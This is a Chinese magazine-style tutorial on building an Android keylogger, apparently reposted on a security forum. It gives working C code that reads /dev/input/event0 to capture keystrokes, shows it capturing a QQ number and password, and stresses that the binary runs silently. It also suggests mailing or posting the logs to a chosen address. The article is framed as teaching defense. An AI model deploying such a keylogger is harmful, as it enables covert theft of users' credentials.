以投稿在黑防6月杂志
＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊
    盗号木马大家都很常见了，但大多数都是在windows平台下的，像阿拉QQ大盗等键盘记录程序都给用户带来不少的麻烦。在android手机越来越普及的今天，盗号木马也将会转移到手机上来，为了更好的防范这种盗号木马，我们首先要了解其原理。
    首先是要了解Android系统，Android是基于Linux的操作系统，处理器是ARM的，所以要在Linux或Windows等x86系统上编译Android能运行的程序，你需要一个交叉编译器。
    工欲善其事必先利其器，在Linux下面，你可以自已编译一个交叉编译环境，但Windows下面，就比较复杂（也可以在cygwin中编译一个），但我推荐大家选择下载一个现成的交叉编译环境：
http://www.codesourcery.com/gnu_toolchains/arm/portal/package3400/public/arm-none-linux-gnueabi/arm-2008q3-41-arm-none-linux-gnueabi.exe
    这是一个命令行工具，安装好了之后，最好将CodeSourcery编译器的bin目录加入你的PATH环境变量中，就可以开始你的Android Native C开发之旅了，先来熟悉一下开发调试流程，下面写好一个简单的C程序：

#include <stdlib.h>

int main(int argc, char** argv) {
printf("hello android!\nI'm %s!\nI like android very much!!!\n", "GuiGu");
return 0;
}

    将上述代码另存成hello.c,然后进入命令行模式，确保交叉编译器的bin目录，及Android SDK的tools目录在你的系统环境变量的path里面，用如下命令编译：
arm-none-linux-gnueabi-gcc -static hello.c -o hello
    成功编译后会在该目录下生成一个hello的文件，下面启动Android模拟器，用如下命令将文件push到Android模拟器上：
adb shell mkdir /dev/h4ck
adb push hello /dev/h4ck/hello
adb shell chmod 777 /dev/h4ck/hello
上述命令的含义是：先创建 /dev/h4ck目录，再将编译好的hello上传上去，最后将hello改成可执行的。
上传好了之后，再进入命令行模式，进入Android的shell环境：
adb shell
#cd /dev/h4ck
#./hello
进入 /dev/h4ck目录，执行hello，运行结果如下图：

    可以看到在android主界面是没有任何反应的，程序是后台静默运行的，具有很强的隐蔽性。下面说说键盘记录的原理吧。如果你做过android系统编程就会知道键盘事件用的device是 /dev/tty0，进入 /dev/input 目录，发现在3个device文件：mice,mouse0,event0，分别 cat这3个文件，发现只有 event0 有反应，如下图：

而且不管是点击鼠标还是按键，都有反应，但显示的是一堆乱码，而且点击鼠标出来的东西要多一点，这就说明，android会将用户的操作保存在这个文件中。我们只要写一段代码来分析这些乱码就可以获得我们想要的信息了，下面来编程实现吧。
为了分析 event0 的返回值，写了一段代码key.c，核心代码如下：
        static int event0_fd = -1;
        struct input_event ev0[64];
        static int handle_event0() {
            int button = 0, i, rd;
            rd = read(event0_fd, ev0, sizeof(struct input_event) * 64);
            if ( rd < sizeof(struct input_event) ) return 0;
            for (i = 0; i < rd / sizeof(struct input_event); i++) {
                if (ev0[i].type == 1&&ev0[i].value == 1) {
                                printf("您按下键盘的编码是: %3d\n", ev0[i].code);
                    if (ev0[i].code == 158) {
                        return 0;
                    }
                }
               
            }
            return 1;
        }
        int main(void) {
         int done = 1;
            event0_fd = open("/dev/input/event0", O_RDWR);
            if ( event0_fd < 0 )
                return -1;
                printf("开始键盘监听...\n");
            while ( done ) {
                done = handle_event0();
            }
用交叉编译器编译好后push至虚拟机中执行后，切换到android 模拟器，在模拟器上进行输入操作，程序就会打出你点击的按键信息，效果如下：

分析上面记录的键盘编码，发现当按下的键盘按键和编码是一一对应的，如上图所示，我们输入的QQ号码是1234567，记录的按键编码是2345678，然后我按了一下密码框，记录键盘编码是330，密码输入的是guiguxiansheng，如图也截取到了相应的键盘编码，其他的按键没有仔细去看它们的键盘编码返回值，反正已经正确得到键盘记录了，如果要做一个真正的盗号木马。可以将记录下来的键盘发送到指定邮箱或post到指定网页。作为演示我们就到这里。
手机淘宝、手机网银越来越普及了，希望杀毒软件常常能关注一下手机安全领域，尽早做好防范措施。

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)